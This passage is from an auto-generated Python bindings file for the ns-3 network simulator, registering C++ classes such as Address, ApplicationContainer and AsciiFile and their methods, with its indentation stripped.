typehandlers.add_type_alias(u'void ( * ) ( ) **', u'ns3::TracedValueCallback::Void*')
typehandlers.add_type_alias(u'void ( * ) ( ) *&', u'ns3::TracedValueCallback::Void&')
def register_types_ns3_addressUtils(module):
root_module = module.get_root()
def register_types_ns3_internal(module):
root_module = module.get_root()
def register_methods(root_module):
register_Ns3Address_methods(root_module, root_module['ns3::Address'])
register_Ns3ApplicationContainer_methods(root_module, root_module['ns3::ApplicationContainer'])
register_Ns3AsciiFile_methods(root_module, root_module['ns3::AsciiFile'])
register_Ns3AsciiTraceHelper_methods(root_module, root_module['ns3::AsciiTraceHelper'])
register_Ns3AsciiTraceHelperForDevice_methods(root_module, root_module['ns3::AsciiTraceHelperForDevice'])
register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList'])
register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item'])
register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer'])
register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator'])
register_Ns3BulkSendHelper_methods(root_module, root_module['ns3::BulkSendHelper'])
register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator'])
register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item'])
register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList'])
register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator'])
register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item'])
register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase'])
register_Ns3ChannelList_methods(root_module, root_module['ns3::ChannelList'])
register_Ns3DataOutputCallback_methods(root_module, root_module['ns3::DataOutputCallback'])
register_Ns3DataRate_methods(root_module, root_module['ns3::DataRate'])
register_Ns3DelayJitterEstimation_methods(root_module, root_module['ns3::DelayJitterEstimation'])
register_Ns3EventId_methods(root_module, root_module['ns3::EventId'])
register_Ns3Hasher_methods(root_module, root_module['ns3::Hasher'])
register_Ns3Inet6SocketAddress_methods(root_module, root_module['ns3::Inet6SocketAddress'])
register_Ns3InetSocketAddress_methods(root_module, root_module['ns3::InetSocketAddress'])
register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address'])
register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask'])
register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address'])
register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix'])
register_Ns3LogComponent_methods(root_module, root_module['ns3::LogComponent'])
register_Ns3Mac16Address_methods(root_module, root_module['ns3::Mac16Address'])
register_Ns3Mac48Address_methods(root_module, root_module['ns3::Mac48Address'])
register_Ns3Mac64Address_methods(root_module, root_module['ns3::Mac64Address'])
register_Ns3NetDeviceContainer_methods(root_module, root_module['ns3::NetDeviceContainer'])
register_Ns3NodeContainer_methods(root_module, root_module['ns3::NodeContainer'])
register_Ns3NodeList_methods(root_module, root_module['ns3::NodeList'])
register_Ns3NonCopyable_methods(root_module, root_module['ns3::NonCopyable'])
register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase'])
register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter'])
register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory'])
register_Ns3OnOffHelper_methods(root_module, root_module['ns3::OnOffHelper'])
register_Ns3PacketLossCounter_methods(root_module, root_module['ns3::PacketLossCounter'])
register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata'])
register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item'])
register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator'])
register_Ns3PacketSinkHelper_methods(root_module, root_module['ns3::PacketSinkHelper'])
register_Ns3PacketSocketAddress_methods(root_module, root_module['ns3::PacketSocketAddress'])
register_Ns3PacketSocketHelper_methods(root_module, root_module['ns3::PacketSocketHelper'])
register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator'])
register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item'])
register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList'])
register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData'])
register_Ns3ParameterLogger_methods(root_module, root_module['ns3::ParameterLogger'])
register_Ns3PbbAddressTlvBlock_methods(root_module, root_module['ns3::PbbAddressTlvBlock'])
register_Ns3PbbTlvBlock_methods(root_module, root_module['ns3::PbbTlvBlock'])
register_Ns3PcapFile_methods(root_module, root_module['ns3::PcapFile'])
register_Ns3PcapHelper_methods(root_module, root_module['ns3::PcapHelper'])
register_Ns3PcapHelperForDevice_methods(root_module, root_module['ns3::PcapHelperForDevice'])
register_Ns3SimpleNetDeviceHelper_methods(root_module, root_module['ns3::SimpleNetDeviceHelper'])
register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >'])
register_Ns3Simulator_methods(root_module, root_module['ns3::Simulator'])
register_Ns3StatisticalSummary_methods(root_module, root_module['ns3::StatisticalSummary'])
register_Ns3SystemWallClockMs_methods(root_module, root_module['ns3::SystemWallClockMs'])
register_Ns3Tag_methods(root_module, root_module['ns3::Tag'])
register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer'])
register_Ns3TimeWithUnit_methods(root_module, root_module['ns3::TimeWithUnit'])
register_Ns3TracedValue__Unsigned_int_methods(root_module, root_module['ns3::TracedValue< unsigned int >'])
register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId'])
register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation'])
register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation'])
register_Ns3UdpClientHelper_methods(root_module, root_module['ns3::UdpClientHelper'])
register_Ns3UdpEchoClientHelper_methods(root_module, root_module['ns3::UdpEchoClientHelper'])
register_Ns3UdpEchoServerHelper_methods(root_module, root_module['ns3::UdpEchoServerHelper'])
register_Ns3UdpServerHelper_methods(root_module, root_module['ns3::UdpServerHelper'])
register_Ns3UdpTraceClientHelper_methods(root_module, root_module['ns3::UdpTraceClientHelper'])
register_Ns3Empty_methods(root_module, root_module['ns3::empty'])
register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t'])
register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk'])
register_Ns3DeviceNameTag_methods(root_module, root_module['ns3::DeviceNameTag'])
register_Ns3FlowIdTag_methods(root_module, root_module['ns3::FlowIdTag'])
register_Ns3Header_methods(root_module, root_module['ns3::Header'])
register_Ns3LlcSnapHeader_methods(root_module, root_module['ns3::LlcSnapHeader'])
register_Ns3Object_methods(root_module, root_module['ns3::Object'])
register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator'])
register_Ns3PacketBurst_methods(root_module, root_module['ns3::PacketBurst'])
register_Ns3PacketSocketTag_methods(root_module, root_module['ns3::PacketSocketTag'])
register_Ns3PcapFileWrapper_methods(root_module, root_module['ns3::PcapFileWrapper'])
register_Ns3QueueBase_methods(root_module, root_module['ns3::QueueBase'])
register_Ns3QueueLimits_methods(root_module, root_module['ns3::QueueLimits'])
register_Ns3RadiotapHeader_methods(root_module, root_module['ns3::RadiotapHeader'])
register_Ns3RandomVariableStream_methods(root_module, root_module['ns3::RandomVariableStream'])
register_Ns3SeqTsHeader_methods(root_module, root_module['ns3::SeqTsHeader'])
register_Ns3SequentialRandomVariable_methods(root_module, root_module['ns3::SequentialRandomVariable'])
register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >'])
register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >'])
register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >'])
register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >'])
register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >'])
register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >'])
register_Ns3SimpleRefCount__Ns3NetDeviceQueue_Ns3Empty_Ns3DefaultDeleter__lt__ns3NetDeviceQueue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >'])
register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >'])
register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >'])
register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >'])
register_Ns3SimpleRefCount__Ns3PbbAddressBlock_Ns3Empty_Ns3DefaultDeleter__lt__ns3PbbAddressBlock__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> >'])
register_Ns3SimpleRefCount__Ns3PbbMessage_Ns3Empty_Ns3DefaultDeleter__lt__ns3PbbMessage__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> >'])
register_Ns3SimpleRefCount__Ns3PbbPacket_Ns3Header_Ns3DefaultDeleter__lt__ns3PbbPacket__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> >'])
register_Ns3SimpleRefCount__Ns3PbbTlv_Ns3Empty_Ns3DefaultDeleter__lt__ns3PbbTlv__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> >'])
register_Ns3SimpleRefCount__Ns3QueueItem_Ns3Empty_Ns3DefaultDeleter__lt__ns3QueueItem__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >'])
register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >'])
register_Ns3SllHeader_methods(root_module, root_module['ns3::SllHeader'])
register_Ns3Socket_methods(root_module, root_module['ns3::Socket'])
register_Ns3SocketFactory_methods(root_module, root_module['ns3::SocketFactory'])
register_Ns3SocketIpTosTag_methods(root_module, root_module['ns3::SocketIpTosTag'])
register_Ns3SocketIpTtlTag_methods(root_module, root_module['ns3::SocketIpTtlTag'])
register_Ns3SocketIpv6HopLimitTag_methods(root_module, root_module['ns3::SocketIpv6HopLimitTag'])
register_Ns3SocketIpv6TclassTag_methods(root_module, root_module['ns3::SocketIpv6TclassTag'])
register_Ns3SocketPriorityTag_methods(root_module, root_module['ns3::SocketPriorityTag'])
register_Ns3SocketSetDontFragmentTag_methods(root_module, root_module['ns3::SocketSetDontFragmentTag'])
register_Ns3Time_methods(root_module, root_module['ns3::Time'])
register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor'])
register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer'])
register_Ns3TriangularRandomVariable_methods(root_module, root_module['ns3::TriangularRandomVariable'])
register_Ns3UniformRandomVariable_methods(root_module, root_module['ns3::UniformRandomVariable'])
register_Ns3WeibullRandomVariable_methods(root_module, root_module['ns3::WeibullRandomVariable'])
register_Ns3ZetaRandomVariable_methods(root_module, root_module['ns3::ZetaRandomVariable'])
register_Ns3ZipfRandomVariable_methods(root_module, root_module['ns3::ZipfRandomVariable'])
register_Ns3Application_methods(root_module, root_module['ns3::Application'])
register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor'])
register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker'])
register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue'])
register_Ns3BooleanChecker_methods(root_module, root_module['ns3::BooleanChecker'])
register_Ns3BooleanValue_methods(root_module, root_module['ns3::BooleanValue'])
register_Ns3BulkSendApplication_methods(root_module, root_module['ns3::BulkSendApplication'])
register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker'])
register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase'])
register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue'])
register_Ns3Channel_methods(root_module, root_module['ns3::Channel'])
register_Ns3ConstantRandomVariable_methods(root_module, root_module['ns3::ConstantRandomVariable'])
register_Ns3DataCalculator_methods(root_module, root_module['ns3::DataCalculator'])
register_Ns3DataCollectionObject_methods(root_module, root_module['ns3::DataCollectionObject'])
register_Ns3DataOutputInterface_methods(root_module, root_module['ns3::DataOutputInterface'])
register_Ns3DataRateChecker_methods(root_module, root_module['ns3::DataRateChecker'])
register_Ns3DataRateValue_methods(root_module, root_module['ns3::DataRateValue'])
register_Ns3DeterministicRandomVariable_methods(root_module, root_module['ns3::DeterministicRandomVariable'])
register_Ns3DoubleValue_methods(root_module, root_module['ns3::DoubleValue'])
register_Ns3DynamicQueueLimits_methods(root_module, root_module['ns3::DynamicQueueLimits'])
register_Ns3EmpiricalRandomVariable_methods(root_module, root_module['ns3::EmpiricalRandomVariable'])
register_Ns3EmptyAttributeAccessor_methods(root_module, root_module['ns3::EmptyAttributeAccessor'])
register_Ns3EmptyAttributeChecker_methods(root_module, root_module['ns3::EmptyAttributeChecker'])
register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue'])
register_Ns3EnumChecker_methods(root_module, root_module['ns3::EnumChecker'])
register_Ns3EnumValue_methods(root_module, root_module['ns3::EnumValue'])
register_Ns3ErlangRandomVariable_methods(root_module, root_module['ns3::ErlangRandomVariable'])
register_Ns3ErrorModel_methods(root_module, root_module['ns3::ErrorModel'])
register_Ns3EthernetHeader_methods(root_module, root_module['ns3::EthernetHeader'])
register_Ns3EthernetTrailer_methods(root_module, root_module['ns3::EthernetTrailer'])
register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl'])
register_Ns3ExponentialRandomVariable_methods(root_module, root_module['ns3::ExponentialRandomVariable'])
register_Ns3GammaRandomVariable_methods(root_module, root_module['ns3::GammaRandomVariable'])
register_Ns3IntegerValue_methods(root_module, root_module['ns3::IntegerValue'])
register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker'])
register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue'])
register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker'])
register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue'])
register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker'])
register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue'])
register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker'])
register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue'])
register_Ns3ListErrorModel_methods(root_module, root_module['ns3::ListErrorModel'])
register_Ns3LogNormalRandomVariable_methods(root_module, root_module['ns3::LogNormalRandomVariable'])
register_Ns3Mac16AddressChecker_methods(root_module, root_module['ns3::Mac16AddressChecker'])
register_Ns3Mac16AddressValue_methods(root_module, root_module['ns3::Mac16AddressValue'])
register_Ns3Mac48AddressChecker_methods(root_module, root_module['ns3::Mac48AddressChecker'])
register_Ns3Mac48AddressValue_methods(root_module, root_module['ns3::Mac48AddressValue'])
register_Ns3Mac64AddressChecker_methods(root_module, root_module['ns3::Mac64AddressChecker'])
register_Ns3Mac64AddressValue_methods(root_module, root_module['ns3::Mac64AddressValue'])
register_Ns3MinMaxAvgTotalCalculator__Unsigned_int_methods(root_module, root_module['ns3::MinMaxAvgTotalCalculator< unsigned int >'])
register_Ns3NetDevice_methods(root_module, root_module['ns3::NetDevice'])
register_Ns3NetDeviceQueue_methods(root_module, root_module['ns3::NetDeviceQueue'])
register_Ns3NetDeviceQueueInterface_methods(root_module, root_module['ns3::NetDeviceQueueInterface'])
register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector'])
register_Ns3Node_methods(root_module, root_module['ns3::Node'])
register_Ns3NormalRandomVariable_methods(root_module, root_module['ns3::NormalRandomVariable'])
register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker'])
register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue'])
register_Ns3OnOffApplication_methods(root_module, root_module['ns3::OnOffApplication'])
register_Ns3OutputStreamWrapper_methods(root_module, root_module['ns3::OutputStreamWrapper'])
register_Ns3Packet_methods(root_module, root_module['ns3::Packet'])
register_Ns3PacketSink_methods(root_module, root_module['ns3::PacketSink'])
register_Ns3PacketSizeMinMaxAvgTotalCalculator_methods(root_module, root_module['ns3::PacketSizeMinMaxAvgTotalCalculator'])
register_Ns3PacketSocket_methods(root_module, root_module['ns3::PacketSocket'])
register_Ns3PacketSocketClient_methods(root_module, root_module['ns3::PacketSocketClient'])
register_Ns3PacketSocketFactory_methods(root_module, root_module['ns3::PacketSocketFactory'])
register_Ns3PacketSocketServer_methods(root_module, root_module['ns3::PacketSocketServer'])
register_Ns3ParetoRandomVariable_methods(root_module, root_module['ns3::ParetoRandomVariable'])
register_Ns3PbbAddressBlock_methods(root_module, root_module['ns3::PbbAddressBlock'])
register_Ns3PbbAddressBlockIpv4_methods(root_module, root_module['ns3::PbbAddressBlockIpv4'])
register_Ns3PbbAddressBlockIpv6_methods(root_module, root_module['ns3::PbbAddressBlockIpv6'])
register_Ns3PbbMessage_methods(root_module, root_module['ns3::PbbMessage'])
register_Ns3PbbMessageIpv4_methods(root_module, root_module['ns3::PbbMessageIpv4'])
register_Ns3PbbMessageIpv6_methods(root_module, root_module['ns3::PbbMessageIpv6'])
register_Ns3PbbPacket_methods(root_module, root_module['ns3::PbbPacket'])
register_Ns3PbbTlv_methods(root_module, root_module['ns3::PbbTlv'])
register_Ns3Probe_methods(root_module, root_module['ns3::Probe'])
register_Ns3Queue__Ns3Packet_methods(root_module, root_module['ns3::Queue< ns3::Packet >'])
register_Ns3Queue__Ns3QueueDiscItem_methods(root_module, root_module['ns3::Queue< ns3::QueueDiscItem >'])
register_Ns3QueueItem_methods(root_module, root_module['ns3::QueueItem'])
register_Ns3RateErrorModel_methods(root_module, root_module['ns3::RateErrorModel'])
register_Ns3ReceiveListErrorModel_methods(root_module, root_module['ns3::ReceiveListErrorModel'])
register_Ns3SimpleChannel_methods(root_module, root_module['ns3::SimpleChannel'])
register_Ns3SimpleNetDevice_methods(root_module, root_module['ns3::SimpleNetDevice'])
register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue'])
register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker'])
register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue'])
register_Ns3UdpClient_methods(root_module, root_module['ns3::UdpClient'])
register_Ns3UdpEchoClient_methods(root_module, root_module['ns3::UdpEchoClient'])
register_Ns3UdpEchoServer_methods(root_module, root_module['ns3::UdpEchoServer'])
register_Ns3UdpServer_methods(root_module, root_module['ns3::UdpServer'])
register_Ns3UdpTraceClient_methods(root_module, root_module['ns3::UdpTraceClient'])
register_Ns3UintegerValue_methods(root_module, root_module['ns3::UintegerValue'])
register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker'])
register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue'])
register_Ns3ApplicationPacketProbe_methods(root_module, root_module['ns3::ApplicationPacketProbe'])
register_Ns3BinaryErrorModel_methods(root_module, root_module['ns3::BinaryErrorModel'])
register_Ns3BurstErrorModel_methods(root_module, root_module['ns3::BurstErrorModel'])
register_Ns3CounterCalculator__Unsigned_int_methods(root_module, root_module['ns3::CounterCalculator< unsigned int >'])
register_Ns3ErrorChannel_methods(root_module, root_module['ns3::ErrorChannel'])
register_Ns3PacketCounterCalculator_methods(root_module, root_module['ns3::PacketCounterCalculator'])
register_Ns3PacketProbe_methods(root_module, root_module['ns3::PacketProbe'])
register_Ns3PbbAddressTlv_methods(root_module, root_module['ns3::PbbAddressTlv'])
register_Ns3QueueDiscItem_methods(root_module, root_module['ns3::QueueDiscItem'])
register_Ns3HashImplementation_methods(root_module, root_module['ns3::Hash::Implementation'])
register_Ns3HashFunctionFnv1a_methods(root_module, root_module['ns3::Hash::Function::Fnv1a'])
register_Ns3HashFunctionHash32_methods(root_module, root_module['ns3::Hash::Function::Hash32'])
register_Ns3HashFunctionHash64_methods(root_module, root_module['ns3::Hash::Function::Hash64'])
register_Ns3HashFunctionMurmur3_methods(root_module, root_module['ns3::Hash::Function::Murmur3'])
return
def register_Ns3Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## address.h (module 'network'): ns3::Address::Address() [constructor]
cls.add_constructor([])
## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor]
cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')])
## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [copy constructor]
cls.add_constructor([param('ns3::Address const &', 'address')])
## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function]
cls.add_method('CheckCompatible',
'bool',
[param('uint8_t', 'type'), param('uint8_t', 'len')],
is_const=True)
## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function]
cls.add_method('CopyAllFrom',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint8_t', 'len')])
## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function]
cls.add_method('CopyAllTo',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint8_t', 'len')],
is_const=True)
## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function]
cls.add_method('CopyFrom',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint8_t', 'len')])
## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function]
cls.add_method('CopyTo',
'uint32_t',
[param('uint8_t *', 'buffer')],
is_const=True)
## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'buffer')])
## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function]
cls.add_method('GetLength',
'uint8_t',
[],
is_const=True)
## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function]
cls.add_method('IsInvalid',
'bool',
[],
is_const=True)
## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function]
cls.add_method('IsMatchingType',
'bool',
[param('uint8_t', 'type')],
is_const=True)
## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function]
cls.add_method('Register',
'uint8_t',
[],
is_static=True)
## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'buffer')],
is_const=True)
return
def register_Ns3ApplicationContainer_methods(root_module, cls):
## application-container.h (module 'network'): ns3::ApplicationContainer::ApplicationContainer(ns3::ApplicationContainer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ApplicationContainer const &', 'arg0')])
## application-container.h (module 'network'): ns3::ApplicationContainer::ApplicationContainer() [constructor]
cls.add_constructor([])
## application-container.h (module 'network'): ns3::ApplicationContainer::ApplicationContainer(ns3::Ptr<ns3::Application> application) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::Application >', 'application')])
## application-container.h (module 'network'): ns3::ApplicationContainer::ApplicationContainer(std::string name) [constructor]
cls.add_constructor([param('std::string', 'name')])
## application-container.h (module 'network'): void ns3::ApplicationContainer::Add(ns3::ApplicationContainer other) [member function]
cls.add_method('Add',
'void',
[param('ns3::ApplicationContainer', 'other')])
## application-container.h (module 'network'): void ns3::ApplicationContainer::Add(ns3::Ptr<ns3::Application> application) [member function]
cls.add_method('Add',
'void',
[param('ns3::Ptr< ns3::Application >', 'application')])
## application-container.h (module 'network'): void ns3::ApplicationContainer::Add(std::string name) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'name')])
## application-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Application>*,std::vector<ns3::Ptr<ns3::Application>, std::allocator<ns3::Ptr<ns3::Application> > > > ns3::ApplicationContainer::Begin() const [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Application > const, std::vector< ns3::Ptr< ns3::Application > > >',
[],
is_const=True)
## application-container.h (module 'network'): __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Application>*,std::vector<ns3::Ptr<ns3::Application>, std::allocator<ns3::Ptr<ns3::Application> > > > ns3::ApplicationContainer::End() const [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Application > const, std::vector< ns3::Ptr< ns3::Application > > >',
[],
is_const=True)
## application-container.h (module 'network'): ns3::Ptr<ns3::Application> ns3::ApplicationContainer::Get(uint32_t i) const [member function]
cls.add_method('Get',
'ns3::Ptr< ns3::Application >',
[param('uint32_t', 'i')],
is_const=True)
## application-container.h (module 'network'): uint32_t ns3::ApplicationContainer::GetN() const [member function]
cls.add_method('GetN',
'uint32_t',
[],
is_const=True)
## application-container.h (module 'network'): void ns3::ApplicationContainer::Start(ns3::Time start) [member function]
cls.add_method('Start',
'void',
[param('ns3::Time', 'start')])
## application-container.h (module 'network'): void ns3::ApplicationContainer::Stop(ns3::Time stop) [member function]
cls.add_method('Stop',
'void',
[param('ns3::Time', 'stop')])
return
def register_Ns3AsciiFile_methods(root_module, cls):
## ascii-file.h (module 'network'): ns3::AsciiFile::AsciiFile() [constructor]
cls.add_constructor([])
## ascii-file.h (module 'network'): bool ns3::AsciiFile::Fail() const [member function]
cls.add_method('Fail',
'bool',
[],
is_const=True)
## ascii-file.h (module 'network'): bool ns3::AsciiFile::Eof() const [member function]
cls.add_method('Eof',
'bool',
[],
is_const=True)
## ascii-file.h (module 'network'): void ns3::AsciiFile::Open(std::string const & filename, std::_Ios_Openmode mode) [member function]
cls.add_method('Open',
'void',
[param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')])
## ascii-file.h (module 'network'): void ns3::AsciiFile::Close() [member function]
cls.add_method('Close',
'void',
[])
## ascii-file.h (module 'network'): void ns3::AsciiFile::Read(std::string & line) [member function]
cls.add_method('Read',
'void',
[param('std::string &', 'line')])
## ascii-file.h (module 'network'): static bool ns3::AsciiFile::Diff(std::string const & f1, std::string const & f2, uint64_t & lineNumber) [member function]
cls.add_method('Diff',
'bool',
[param('std::string const &', 'f1'), param('std::string const &', 'f2'), param('uint64_t &', 'lineNumber')],
is_static=True)
return
def register_Ns3AsciiTraceHelper_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::AsciiTraceHelper::AsciiTraceHelper(ns3::AsciiTraceHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AsciiTraceHelper const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::AsciiTraceHelper::AsciiTraceHelper() [constructor]
cls.add_constructor([])
